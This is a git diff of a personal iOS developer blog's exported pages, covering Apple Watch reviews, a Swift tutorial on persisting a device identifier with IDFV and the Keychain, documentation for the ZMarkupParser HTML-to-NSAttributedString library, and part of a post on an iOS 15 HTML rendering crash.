  2. Shazam (Free): Press to identify music (although you can also ask Siri directly). There is another app called SoundHound, but in my personal tests, Shazam is faster.

  3. 雙北市Ubike+ (Free): Check the number of available and parking spots at nearby/favorite Ubike stations.

  4. 錄音機 (Free): Quickly use Apple Watch to record and transfer to your phone.

  5. 倒數日 (Free): View countdowns for anniversaries/future events.

  6. Advanced Calculator For Apple Watch OS (Free): Use a small calculator on Apple Watch.

Line, Spotify…etc.

Summary and One Week Usage Experience

I’ve been wearing it for almost two weeks now. From the initial excitement to now, it has seamlessly integrated into my life. So far, the benefits to my daily life include: unlocking my MAC without typing a long password (company policy requires logging out when leaving the desk), checking the weather instantly, navigation, app notifications, and monitoring heart rate for health. That’s about it; there are too few supported apps and functions.

Has the time spent on my phone decreased? Not particularly, because I still prefer to reply to notifications on my phone. Replying on the watch requires voice input, which is awkward in public, or handwriting, which is very slow. Moreover, many apps do not support Apple Watch.

Is it really worth starting at $12,900? There are many better options for watches over $10,000, but if you want to integrate with the Apple ecosystem, there’s only one choice. If you just want to buy a luxury watch, you don’t need an Apple Watch. If you want a watch that can handle daily tasks, you can consider it. If you want a luxury item + daily task handler, you can consider the stainless steel or even Hermès version!

Since purchasing, I’ve had thoughts of returning it. Spending $17,500 on a watch seems not worth it, but it does help with daily life. Is this help worth $17,500? I don’t think so at the moment. I’ll reevaluate when the Apple Watch app ecosystem is more developed. For now, it’s a luxury item XD, bought for pleasure, trendiness, and impulse.

Other items are for you to experience on your own.

-

[Latest] Apple Watch Series 6 Unboxing & Two-Year Usage Experience »> Click Here

Since you bought the watch, why not consider AirPods 2?

Please see the next article » AirPods 2 Unboxing and Hands-on Experience

Develop Your Own Apple Watch App:

Please see Let’s Make an Apple Watch App! (Swift)

Want to Control Smart Home Devices with Your Watch?

Please see First Experience with Smart Home — Apple HomeKit & Xiaomi Mijia

Thoughts After Three Months of Use:

For details, please see this article

  1. Full-screen protector broke once while doing housework (heartbreaking)
  2. Purchased an additional leather watch strap:

nomad Apple Watch Strap

nomad Apple Watch Strap

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Add 'App Notification Settings Page' Shortcut in User's 'Settings' on iOS ≥ 12 (Swift)

Let's Build an Apple Watch App!

diff --git a/posts/a4bc3bce7513/index.html b/posts/a4bc3bce7513/index.html new file mode 100644 index 0000000000..00e736f26b --- /dev/null +++ b/posts/a4bc3bce7513/index.html @@ -0,0 +1,93 @@ + All About iOS UUID (Swift/iOS ≥ 6) | ZhgChgLi
Home All About iOS UUID (Swift/iOS ≥ 6)
Post
Cancel

All About iOS UUID (Swift/iOS ≥ 6)

All About iOS UUID (Swift/iOS ≥ 6)

iPlayground 2018 Recap & All About UUID

Introduction:

Last Saturday and Sunday, I attended the iPlayground Apple software developer conference. This event was recommended by a colleague, and I wasn’t familiar with it before attending.

Over the two days, the event and schedule were smooth, and the agenda included:

  1. Fun topics: Bicycles, Decaying Code, Evolution of iOS/API, Where’s Willy (CoreML Vision)
  2. Practical topics: Testing (XCUITest, Dependency Injection), Alternative animation effects with SpriteKit, GraphQL
  3. Advanced topics: In-depth Swift analysis, iOS Jailbreaking/Tweak development, Redux

The Bicycle Project left a deep impression. Using an iPhone as a sensor to detect bicycle pedal rotation, the presenter switched slides while riding a bicycle on stage (the main goal was to create an open-source version of Zwift, sharing many pitfalls such as Client/Server communication, latency issues, and magnetic interference).

Decaying Dirty Code; it resonated deeply, bringing a knowing smile. Technical debt accumulates this way: rushed development schedules lead to quick but poorly structured solutions, and subsequent developers don’t have time to refactor, causing the debt to pile up. Eventually, the only solution might be to start over.

Testing (Design Patterns in XCUITest) by a senior from KKBOX was very open, sharing their methods, code examples, encountered issues, and solutions. This session was particularly beneficial for our work. Testing is an area I’ve always wanted to strengthen, and now I can study it thoroughly.

Listening to the Lighting Talk made me want to share too 😂. I’ll prepare better next time!

The official party afterward was sincere, with great food and drinks. Listening to the seniors’ heartfelt words was both relaxing and informative, enhancing many soft skills.

NTU Backstage Cafe

NTU Backstage Cafe

I learned that this was the first edition, and I was truly honored to participate. Kudos to all the staff and speakers!

The purpose of attending conferences is to: broaden horizons, absorb new knowledge, understand the ecosystem, and explore areas you wouldn’t normally encounter, and deepen expertise, by identifying any overlooked aspects or discovering new methods in familiar areas.

I took many notes to study and savor later.

All About UUID

After the conference, I immediately applied what I learned to our app. This session was led by senior Zonble, who has been writing from iPhone OS 2 to iOS 12, which is impressive. I started from iOS 11/Swift 4, so I missed the turbulent times when Apple changed APIs.

It’s reasonable that UUIDs went from accessible to restricted. If used for good purposes: identifying user devices, advertising, or third-party operations, it can be beneficial. But if misused, it can track and profile users (e.g., knowing you often travel, have kids, and live in Taipei based on installed apps like travel, Taipei bus, BMW, and baby care apps). Combined with personal data entered in apps, the potential misuse is concerning.

However, this also affects many legitimate users. Using UUIDs for user data decryption keys or device identification is significantly impacted. I admire the engineers of that era; the impact would have caused complaints from bosses and users, requiring quick alternative solutions.

Alternatives:

This article focuses on obtaining UUIDs to identify unique devices. For alternatives to knowing which apps a user has installed, consider these keywords: UIPasteboard pasteboardWithName: create: (using the clipboard to share between apps), canOpenURL: info.plist LSApplicationQueriesSchemes (using canOpenURL to check if an app is installed, listing up to 50 entries in info.plist)

  1. Using MAC Address as UUID, but this was also banned later.
  2. Finger Printing (Canvas/User-Agent…): Not researched, but mainly used to generate the same UUID for Safari and apps, Deferred Deep Linking. AmIUnique?
  3. ID entifier F or V endor (IDFV): Currently the mainstream solution 🏆. The concept is that Apple generates a UUID for the user based on the Bundle ID prefix. The same Bundle ID prefix will generate the same UUID, e.g., com.518.work/com.518.job will get the same UUID on the same device. As the name suggests, ID For Vendor, Apple considers apps with the same prefix as from the same vendor, so sharing UUIDs is allowed.

ID entifier F or V endor (IDFV):

1
+
let DEVICE_UUID:String = UIDevice.current.identifierForVendor?.uuidString ?? UUID().uuidString
+

Note: When all apps from the same vendor are removed and then reinstalled, a new UUID will be generated ( if both com.518.work and com.518.job are deleted, and then com.518.work is reinstalled, a new UUID will be generated ) Similarly, if you have only one app, deleting and reinstalling it will generate a new UUID

Due to this characteristic, our company’s other apps use Key-Chain to solve this problem. After listening to the advice of experienced speakers, we have verified that this approach is correct!

The process is as follows:

When the Key-Chain UUID field has a value, retrieve it; otherwise, get the UUID value of IDFA and write it back

When the Key-Chain UUID field has a value, retrieve it; otherwise, get the UUID value of IDFA and write it back

Key-Chain writing method:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
if let data = DEVICE_UUID.data(using: .utf8) {
+    let query = [
+        kSecClass as String       : kSecClassGenericPassword as String,
+        kSecAttrAccount as String : "DEVICE_UUID",
+        kSecValueData as String   : data ] as [String : Any]
+    
+    SecItemDelete(query as CFDictionary)
+    SecItemAdd(query as CFDictionary, nil)
+}
+

Key-Chain reading method:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
let query = [
+    kSecClass as String       : kSecClassGenericPassword,
+    kSecAttrAccount as String : "DEVICE_UUID",
+    kSecReturnData as String  : kCFBooleanTrue,
+    kSecMatchLimit as String  : kSecMatchLimitOne ] as [String : Any]
+
+var dataTypeRef: AnyObject? = nil
+let status: OSStatus = SecItemCopyMatching(query as CFDictionary, &dataTypeRef)
+if status == noErr,let dataTypeRef = dataTypeRef as? Data,let uuid = String(data:dataTypeRef, encoding: .utf8) {
+   //uuid
+} 
+

If you find Key-Chain operations too cumbersome, you can encapsulate them yourself or use third-party libraries.

Complete CODE:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
let DEVICE_UUID:String = {
+    let query = [
+        kSecClass as String       : kSecClassGenericPassword,
+        kSecAttrAccount as String : "DEVICE_UUID",
+        kSecReturnData as String  : kCFBooleanTrue,
+        kSecMatchLimit as String  : kSecMatchLimitOne ] as [String : Any]
+    
+    var dataTypeRef: AnyObject? = nil
+    let status: OSStatus = SecItemCopyMatching(query as CFDictionary, &dataTypeRef)
+    if status == noErr,let dataTypeRef = dataTypeRef as? Data,let uuid = String(data:dataTypeRef, encoding: .utf8) {
+        return uuid
+    } else {
+        let DEVICE_UUID:String = UIDevice.current.identifierForVendor?.uuidString ?? UUID().uuidString
+        if let data = DEVICE_UUID.data(using: .utf8) {
+            let query = [
+                kSecClass as String       : kSecClassGenericPassword as String,
+                kSecAttrAccount as String : "DEVICE_UUID",
+                kSecValueData as String   : data ] as [String : Any]
+        
+            SecItemDelete(query as CFDictionary)
+            SecItemAdd(query as CFDictionary, nil)
+        }
+        return DEVICE_UUID
+    }
+}()
+

Because I need to reference it in other Extension Targets, I directly wrapped it into a closure parameter for use.

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift)

What? iOS 12 Can Receive Push Notifications Without User Authorization (Swift)

diff --git a/posts/a5643de271e4/index.html b/posts/a5643de271e4/index.html new file mode 100644 index 0000000000..a2161b4718 --- /dev/null +++ b/posts/a5643de271e4/index.html @@ -0,0 +1,167 @@ + ZMarkupParser HTML String to NSAttributedString Tool | ZhgChgLi
Home ZMarkupParser HTML String to NSAttributedString Tool
Post
Cancel

ZMarkupParser HTML String to NSAttributedString Tool

ZMarkupParser HTML String to NSAttributedString Tool

Convert HTML String to NSAttributedString with corresponding Key style settings

ZhgChgLi / ZMarkupParser

[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} [ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"}

ZhgChgLi / ZMarkupParser

Features

  • Developed purely in Swift, parses HTML Tags using Regex and Tokenization, corrects tag errors (fixes unclosed tags & misaligned tags), converts to an abstract syntax tree, and finally uses the Visitor Pattern to map HTML Tags to abstract styles, resulting in the final NSAttributedString output; does not rely on any Parser Lib.
  • Supports HTML Render (to NSAttributedString) / Stripper (removes HTML Tags) / Selector functionality
  • Automatically corrects tag errors (fixes unclosed tags & misaligned tags) <br> -> <br/> <b>Bold<i>Bold+Italic</b>Italic</i> -> <b>Bold<i>Bold+Italic</i></b><i>Italic</i> <Congratulation!> -> <Congratulation!> (treat as String)
  • Supports custom style specifications e.g. <b></b> -> weight: .semibold & underline: 1
  • Supports custom HTML Tag parsing e.g. parse <zhgchgli></zhgchgli> into desired styles
  • Includes architecture design for easy HTML Tag extension Currently supports basic styles, as well as ul/ol/li lists and hr separators. Future support for other HTML Tags can be quickly added.
  • Supports style parsing from style HTML Attribute HTML can specify text styles from the style attribute, and this tool also supports style specifications from style e.g. <b style=”font-size: 20px”></b> -> bold + font size 20 px
  • Supports iOS/macOS
  • Supports HTML Color Name to UIColor/NSColor
  • Test Coverage: 80%+
  • Supports parsing of <img> images, <ul> lists, <table> tables, etc.
  • Higher performance than NSAttributedString.DocumentType.html

Performance Benchmark

[Performance Benchmark](https://quickchart.io/chart-maker/view/zm-73887470-e667-4ca3-8df0-fe3563832b0b){:target="_blank"}

Performance Benchmark

  • Test Environment: 2022/M2/24GB Memory/macOS 13.2/XCode 14.1
  • X-axis: Number of HTML characters
  • Y-axis: Time taken to render (seconds)

*Additionally, NSAttributedString.DocumentType.html crashes with strings longer than 54,600+ characters (EXC_BAD_ACCESS).

Demo

You can directly download the project, open ZMarkupParser.xcworkspace, select the ZMarkupParser-Demo target, and Build & Run to test the effects.

Installation

Supports SPM/Cocoapods, please refer to the Readme.

Usage

Style Declaration

MarkupStyle/MarkupStyleColor/MarkupStyleParagraphStyle, corresponding to the encapsulation of NSAttributedString.Key.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
var font: MarkupStyleFont
+var paragraphStyle: MarkupStyleParagraphStyle
+var foregroundColor: MarkupStyleColor? = nil
+var backgroundColor: MarkupStyleColor? = nil
+var ligature: NSNumber? = nil
+var kern: NSNumber? = nil
+var tracking: NSNumber? = nil
+var strikethroughStyle: NSUnderlineStyle? = nil
+var underlineStyle: NSUnderlineStyle? = nil
+var strokeColor: MarkupStyleColor? = nil
+var strokeWidth: NSNumber? = nil
+var shadow: NSShadow? = nil
+var textEffect: String? = nil
+var attachment: NSTextAttachment? = nil
+var link: URL? = nil
+var baselineOffset: NSNumber? = nil
+var underlineColor: MarkupStyleColor? = nil
+var strikethroughColor: MarkupStyleColor? = nil
+var obliqueness: NSNumber? = nil
+var expansion: NSNumber? = nil
+var writingDirection: NSNumber? = nil
+var verticalGlyphForm: NSNumber? = nil
+...
+

You can declare the styles you want to apply to the corresponding HTML tags:

1
+
let myStyle = MarkupStyle(font: MarkupStyleFont(size: 13), backgroundColor: MarkupStyleColor(name: .aquamarine))
+

HTML Tag

Declare the HTML tags to be rendered and the corresponding Markup Style. The currently predefined HTML tag names are as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
A_HTMLTagName(), // <a></a>
+B_HTMLTagName(), // <b></b>
+BR_HTMLTagName(), // <br></br>
+DIV_HTMLTagName(), // <div></div>
+HR_HTMLTagName(), // <hr></hr>
+I_HTMLTagName(), // <i></i>
+LI_HTMLTagName(), // <li></li>
+OL_HTMLTagName(), // <ol></ol>
+P_HTMLTagName(), // <p></p>
+SPAN_HTMLTagName(), // <span></span>
+STRONG_HTMLTagName(), // <strong></strong>
+U_HTMLTagName(), // <u></u>
+UL_HTMLTagName(), // <ul></ul>
+DEL_HTMLTagName(), // <del></del>
+IMG_HTMLTagName(handler: ZNSTextAttachmentHandler), // <img> and image downloader
+TR_HTMLTagName(), // <tr>
+TD_HTMLTagName(), // <td>
+TH_HTMLTagName(), // <th>
+...and more
+...
+

This way, when parsing the <a> Tag, it will apply the specified MarkupStyle.

Extend HTMLTagName:

1
+
let zhgchgli = ExtendTagName("zhgchgli")
+

HTML Style Attribute

As mentioned earlier, HTML supports specifying styles from the Style Attribute. Here, it is abstracted to specify supported styles and extensions. The currently predefined HTML Style Attributes are as follows:

1
+2
+3
+4
+5
+6
+7
+
ColorHTMLTagStyleAttribute(), // color
+BackgroundColorHTMLTagStyleAttribute(), // background-color
+FontSizeHTMLTagStyleAttribute(), // font-size
+FontWeightHTMLTagStyleAttribute(), // font-weight
+LineHeightHTMLTagStyleAttribute(), // line-height
+WordSpacingHTMLTagStyleAttribute(), // word-spacing
+...
+

Extend Style Attribute:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
ExtendHTMLTagStyleAttribute(styleName: "text-decoration", render: { value in
+  var newStyle = MarkupStyle()
+  if value == "underline" {
+    newStyle.underline = NSUnderlineStyle.single
+  } else {
+    // ...  
+  }
+  return newStyle
+})
+

Usage

1
+2
+3
+
import ZMarkupParser
+
+let parser = ZHTMLParserBuilder.initWithDefault().set(rootStyle: MarkupStyle(font: MarkupStyleFont(size: 13)).build()
+

initWithDefault will automatically add predefined HTML Tag Names & default corresponding MarkupStyles as well as predefined Style Attributes.

set(rootStyle:) can specify the default style for the entire string, or it can be left unspecified.

Customization

1
+2
+
let parser = ZHTMLParserBuilder.initWithDefault().add(ExtendTagName("zhgchgli"), withCustomStyle: MarkupStyle(backgroundColor: MarkupStyleColor(name: .aquamarine))).build() // will use markupstyle you specify to render extend html tag <zhgchgli></zhgchgli>
+let parser = ZHTMLParserBuilder.initWithDefault().add(B_HTMLTagName(), withCustomStyle: MarkupStyle(font: MarkupStyleFont(size: 18, weight: .style(.semibold)))).build() // will use markupstyle you specify to render <b></b> instead of default bold markup style
+

HTML Render

1
+2
+3
+4
+5
+6
+
let attributedString = parser.render(htmlString) // NSAttributedString
+
+// work with UITextView
+textView.setHtmlString(htmlString)
+// work with UILabel
+label.setHtmlString(htmlString)
+

HTML Stripper

1
+
parser.stripper(htmlString)
+

Selector HTML String

1
+2
+3
+4
+5
+6
+7
+
let selector = parser.selector(htmlString) // HTMLSelector e.g. input: <a><b>Test</b>Link</a>
+selector.first("a")?.first("b").attributedString // will return Test
+selector.filter("a").attributedString // will return Test Link
+
+// render from selector result
+let selector = parser.selector(htmlString) // HTMLSelector e.g. input: <a><b>Test</b>Link</a>
+parser.render(selector.first("a")?.first("b"))
+

Async

Additionally, if you need to render long strings, you can use the async method to prevent UI blocking.

1
+2
+3
+
parser.render(String) { _ in }...
+parser.stripper(String) { _ in }...
+parser.selector(String) { _ in }...
+

Know-how

  • The hyperlink style in UITextView depends on linkTextAttributes, so there might be cases where NSAttributedString.key is set but has no effect.
  • UILabel does not support specifying URL styles, so there might be cases where NSAttributedString.key is set but has no effect.
  • If you need to render complex HTML, you still need to use WKWebView (including JS/tables rendering).

Technical principles and development story: “The Story of Handcrafting an HTML Parser

Contributions and Issues are welcome and will be promptly addressed

For any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk

The Craft of Building a Handmade HTML Parser

diff --git a/posts/a66ce3dc8bb9/index.html b/posts/a66ce3dc8bb9/index.html new file mode 100644 index 0000000000..f37edbb7fc --- /dev/null +++ b/posts/a66ce3dc8bb9/index.html @@ -0,0 +1 @@ + Apple Watch Case Unboxing Experience (Catalyst & Muvit) | ZhgChgLi
Home Apple Watch Case Unboxing Experience (Catalyst & Muvit)
Post
Cancel

Apple Watch Case Unboxing Experience (Catalyst & Muvit)

Apple Watch Case Unboxing Experience (Catalyst & Muvit)

Catalyst Apple Watch Ultra-Thin Waterproof Case & Muvit Apple Watch Case

[Latest Update]

Thanks to Men’s Game for providing the Apple Watch Series 4 case for testing.

As a clumsy person with OCD, using a delicate product like the Apple Watch is very troublesome; due to my clumsiness, it’s easy to accidentally bump it, and with OCD, any scratches make me very uncomfortable. So, I immediately applied a full-coverage screen protector to prevent accidents.

But actually, just applying a full-coverage screen protector is not enough. The watch itself is curved, and the edges of the protector are fragile, easily chipping if the frame is accidentally rubbed:

Full-coverage screen protector chipping without a case

Full-coverage screen protector chipping without a case

I am already on my third full-coverage screen protector; although the watch screen itself is undamaged, it still hurts. Perfect fit + no impact on touch + thin + high transparency + no edge lifting = very expensive ($990/piece). The money spent on protectors is almost enough to upgrade to the stainless steel version. Therefore, the Apple Watch case is very important to me, as it enhances the protection of the frame and reduces the risk of damage from bumps.

This article will unbox two Apple Watch cases and compare their experiences, functionality, appearance, and suitable scenarios. Let’s get started!

Left: Muvit Case Right: Catalyst Case (with strap)

Left: Muvit Case / Right: Catalyst Case (with strap)

p.s. My watch model is: Apple Watch Series 4 (GPS + Cellular), 44mm Space Gray Aluminum Case with Black Sport Band

Catalyst Apple Watch Ultra-Thin Waterproof Case (with strap)

This case features an integrated design with a strap, providing comprehensive protection from wear to impact and water resistance.

Unboxing and Usage:

Front of the box

Front of the box

100 meters waterproof / 360° full protection / 2 meters drop protection

Back of the box

Back of the box

IP-68 waterproof rating, each product tested at a depth of 100 meters, U.S. military-grade impact protection, direct screen operation, original sound quality for calls, can charge through the case, can detect heart rate through the case.

IP-68 ( Wiki ):

6 - Completely dustproof, no dust can enter, completely prevents contact.

8 - Immersion in water beyond 1m.

Contents

Contents

In addition to the Catalyst Apple Watch case (with a model inside), it comes with a small screwdriver for easy installation.

Case (with strap)

Protective Case (Including Strap) Body

Protective Case (Including Strap) Body Back

Protective Case (Including Strap) Body Back

Comparison with Original Sport Band (L) (Left: Catalyst/Right: Original)

Comparison with Original Sport Band (L) (Left: Catalyst/Right: Original)

Fixed Ring Buckle

Fixed Ring Buckle

The length is similar to the original sport band (L) but with denser holes, allowing for a more adjustable fit to the wrist size; the fixed ring has a buckle to ensure it does not fall off during intense exercise.

Installation:

We need to disassemble the Catalyst case first, then place the Apple Watch body inside and reassemble it.

  1. First, unscrew the back screws

  1. After removing the screws, hold the strap with both hands and use your thumbs to push the case body outwards.

  1. Disassemble all parts

Exploded View (Taken from [Official Website](https://www.catalystlifestyle.com/){:target="_blank"})

Exploded View (Taken from Official Website)

  1. Remove the Apple Watch body from the existing sport band

Flip to the back and press the rectangular buckle with your fingernail, then push left or right!

Flip to the back and press the rectangular buckle with your fingernail, then push left or right!

  1. Place the Apple Watch body into the waterproof case

When installing, make sure the waterproof case is properly fitted without wrinkles to avoid affecting waterproof performance.

  1. Put on the protective case top cover

Similarly, ensure there are no wrinkles to avoid affecting waterproof performance.

  1. Reattach the strap body and screw it back

Snap back the body and screw it back ( Please do not over-tighten the screws! )

Testing:

  1. Charging can be directly attached:

Test result: No problem, does not affect charging speed.

  1. Heart Rate:

Left: With Case/Right: Bare Device

Left: With Case/Right: Bare Device

Test result: No problem, does not affect heart rate detection.

  1. Display:

Apple Watch 4 full-screen display is unobstructed, no problem ✅

  1. Digital Crown

Can be used normally ✅

  1. Sound Reception Impact:

Catalyst Apple Watch Ultra-Thin Waterproof Case Sound Reception Test

No significant differences ✅

  1. Appearance:

Due to my large hands, I originally bought the largest 44mm version of the watch. After adding the protective case, it looks even more rugged and grand.

Thoughts:

This watch strap truly provides 360° comprehensive protection and enhances its waterproof function to adapt to more challenging environments.

The strap is made of skin-friendly material, making it feel no different from the original sports strap. However, the adjustment part of the strap has denser holes, allowing for a more suitable size (the original strap either felt too loose or too tight for me). The buckle on the fixing ring also gives me more peace of mind as someone with OCD!

The overall appearance is wild and rugged, making it perfect for outdoor activities, hiking, rock climbing, and diving. These are also the scenarios where this strap can provide the maximum protective effect!

Remember to bring sunglasses next time, the sun is super bright

Remember to bring sunglasses next time, the sun is super bright

Catalyst family photo ( [AirPods case](../33afa0ae557d/) )

Catalyst family photo ( AirPods case )

Muvit Apple Watch Protective Case

The second product I tried is the Muvit Apple Watch Protective Case. Compared to the professional protection of Catalyst, this one is simpler and more convenient, suitable for various daily life scenarios. Despite this, Muvit still passed the U.S. military standard MIL-STD 810G 3-meter drop test, ensuring safety and protection!

Unboxing and Usage:

Front of the box

Front of the box

Two different color protective cases: Left - Black / Right - Light Purple

U.S. military standard MIL-STD 810G 3-meter drop test, extremely light 2.3G

Back of the box

Back of the box

Dual-layer structure protection, silicone shock-absorbing layer, polycarbonate buffering system, screen frame protection

Contents

Contents

Protective case body, black/light purple

Protective case body, black/light purple

Installation:

  1. Installation is very simple. First, remove the Apple Watch body from the existing sports strap.

Flip to the back and press the rectangular buckle with your fingernail, then push left or right!

Flip to the back and press the rectangular buckle with your fingernail, then push left or right!

  1. Place the Apple Watch body “face down” into the protective case.

  1. Reattach the strap, and you’re done!

    Completion:

Black version

Black version

Light purple version

Light purple version

Try-on, left: black right: light purple

Try-on, left: black / right: light purple

Testing:

Digital Crown:

Works normally ✅. Other functions like audio, heart rate, display, etc., are not affected as this is just a frame protective case, so no special tests are needed!

Thoughts:

The most satisfying aspect of using this protective case is that I can quickly and conveniently switch straps according to different life scenarios (leather strap for suits, sports strap for daily use). It’s easy to install and remove, and its protection is sufficient for all daily scenarios (housework, cleaning, moving things). Currently, I use this protective case for my daily life.

Paired with a leather strap

Paired with a leather strap

Summary:

It has been over 4 months from receiving the trial to writing this article. During this period, I moved houses (Sorry… the scenes in this article are messy), participated in a duathlon (10KM running + 40KM cycling), and went diving in Malaysia. These two protective cases have accompanied me through various activities, and the full-coverage screen protector is still perfect!

Remember how many screen protectors I changed? The answer is 3 in 3 months, averaging less than a month before they somehow got damaged and chipped. Each one costs $990 Orz

I can only say it’s a regret meeting late. If I had known about protective cases earlier, I wouldn’t have wasted so much money!

Both Catalyst and Muvit have solved my problem of constantly chipping screen protectors. If you don’t use a screen protector, you should definitely get a protective case to protect the screen edges; otherwise, a cracked screen will hurt even more.

For recommendations, if you often engage in intense sports (rock climbing, diving) or labor work, I suggest choosing Catalyst for better peace of mind. If you’re just an office worker, occasionally run, and like to change watch bands according to your mood, then Muvit is sufficient!

Here is a simple comparison table for your reference:

Purchase:

  1. CATALYST FOR APPLE WATCH SERIES 4 44mm Ultra-Slim Waterproof Case
  2. MUVIT Apple Watch Series 4 (44mm) Impact Resistant Case

Chat:

From the first complete unboxing to three months of use, it’s been almost a year since I’ve been wearing my Apple Watch S4. There haven’t been many changes in usage; third-party apps are still scarce, and the most frequently used features are still Apple Pay, unlocking the Mac, and checking notifications. The Apple Watch has integrated into my daily life, and I’ve gotten used to its convenience.

By the way, let’s look forward to Watch OS 6 together :)

In the past six months, I’ve been more diligent in utilizing the Apple Watch’s fitness features, recording running and cycling times, routes, and heart rates. Besides recording, the awards make exercising more goal-oriented and fulfilling. Competing with friends or sharing results on social media makes exercising fun and easier to maintain!

Awards, Competitions, Exercise Routes, Exercise Status

Awards, Competitions, Exercise Routes, Exercise Status

Special thanks to Men’s Game for providing the Apple Watch Series 4 protective case for testing.

Further Reading

[Latest Updates]

Already bought the watch, how about considering AirPods 2?

Check out »> AirPods 2 Unboxing and Hands-On Experience

For any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

First Experience with Smart Home - Apple HomeKit & Xiaomi Mijia

How to Create an Engaging Engineering CTF Competition

diff --git a/posts/a8c2d26cc734/index.html b/posts/a8c2d26cc734/index.html new file mode 100644 index 0000000000..c8f1447486 --- /dev/null +++ b/posts/a8c2d26cc734/index.html @@ -0,0 +1,1075 @@ + Implementing iOS NSAttributedString HTML Render Yourself | ZhgChgLi
Home Implementing iOS NSAttributedString HTML Render Yourself
Post
Cancel

Implementing iOS NSAttributedString HTML Render Yourself

Implementing iOS NSAttributedString HTML Render Yourself

An alternative to iOS NSAttributedString DocumentType.html

Photo by [Florian Olivo](https://unsplash.com/@florianolv?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Florian Olivo

[TL;DR] 2023/03/12

Re-developed using another method ZMarkupParser HTML String to NSAttributedString Tool , for technical details and development stories, please visit 「 The Story of Handcrafting an HTML Parser

Origin

Since the release of iOS 15 last year, the app has been plagued by a crash issue that has topped the charts for a long time. According to the data, in the past 90 days (2022/03/11~2022/06/08), it caused over 2.4K crashes, affecting over 1.4K users.

From the data, it appears that this massive crash issue has been fixed (or the occurrence rate has been reduced) in subsequent versions of iOS ≥ 15.2, as the trend is showing a decline.

Most affected versions: iOS 15.0.X ~ iOS 15.X.X

Additionally, there were sporadic crashes found in iOS 12 and iOS 13, indicating that this issue has existed for a long time, but the occurrence rate in the early versions of iOS 15 was almost 100%.

Crash Cause:

1
+
<compiler-generated> line 2147483647 specialized @nonobjc NSAttributedString.init(data:options:documentAttributes:)
+

NSAttributedString crashes during init with Crashed: com.apple.main-thread EXC_BREAKPOINT 0x00000001de9d4e44.

It is also possible that the operation was not on the Main Thread.

Reproduction Method:

When this issue first appeared massively, it puzzled the development team; re-testing the crash points in the Crash Log showed no problems, and it was unclear under what circumstances the users encountered the issue. Until one day, by chance, I switched to “Low Power Mode” and triggered the issue! WTF!!!

Solution

After some searching, I found many similar cases online and also found the earliest similar crash issue question on the App Developer Forums, with an official response:

  • This is a known iOS Foundation Bug: It has existed since iOS 12
  • To render complex HTML without rendering constraints: use WKWebView
  • With rendering constraints: you can write your own HTML Parser & Renderer
  • Directly use Markdown as rendering constraints: iOS ≥ 15 NSAttributedString can directly render text using Markdown format

Rendering constraints means limiting the rendering formats that the app can support, such as only supporting bold, italic, hyperlinks.

Supplement. Rendering complex HTML — aiming to create text wrapping effects

You can coordinate with the backend to create an interface:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
{
+  "content":[
+    {"type":"text","value":"Paragraph 1 plain text"},
+    {"type":"text","value":"Paragraph 2 plain text"},
+    {"type":"text","value":"Paragraph 3 plain text"},
+    {"type":"text","value":"Paragraph 4 plain text"},
+    {"type":"image","src":"https://zhgchg.li/logo.png","title":"ZhgChgLi"},
+    {"type":"text","value":"Paragraph 5 plain text"}
+  ]
+}
+

You can combine it with Markdown to support text rendering, or refer to Medium’s approach:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
"Paragraph": {
+    "text": "code in text, and link in text, and ZhgChgLi, and bold, and I, only i",
+    "markups": [
+      {
+        "type": "CODE",
+        "start": 5,
+        "end": 7
+      },
+      {
+        "start": 18,
+        "end": 22,
+        "href": "http://zhgchg.li",
+        "type": "LINK"
+      },
+      {
+        "type": "STRONG",
+        "start": 50,
+        "end": 63
+      },
+      {
+        "type": "EM",
+        "start": 55,
+        "end": 69
+      }
+    ]
+}
+

This means that for the text code in text, and link in text, and ZhgChgLi, and bold, and I, only i:

1
+2
+3
+4
+
- Characters 5 to 7 should be marked as code (wrapped in `Text` format)
+- Characters 18 to 22 should be marked as a link (wrapped in [Text](URL) format)
+- Characters 50 to 63 should be marked as bold (wrapped in *Text* format)
+- Characters 55 to 69 should be marked as italic (wrapped in _Text_ format)
+

With a standardized and describable structure, the app can use native methods to render, achieving optimal performance and user experience.

For the pitfalls of using UITextView for text wrapping, you can refer to my previous article: iOS UITextView Text Wrapping Editor (Swift)

Why?

Before implementing the solution, let’s first explore the problem itself. Personally, I believe the main cause of this issue is not from Apple; the official bug is just the trigger point.

The main problem comes from treating the app as a web renderer. The advantage is that web development is fast, the same API endpoint can provide HTML to all clients without distinction, and it can flexibly render any content. The disadvantage is that HTML is not a common interface for apps, you can’t expect app engineers to understand HTML, performance is extremely poor, it can only run on the main thread, the development stage cannot predict the result, and it is difficult to confirm the supported specifications.

Looking further into the problem, it often stems from unclear original requirements, uncertainty about which specifications the app needs to support, and the pursuit of speed, leading to the direct use of HTML as the interface between the app and the web.

Extremely poor performance

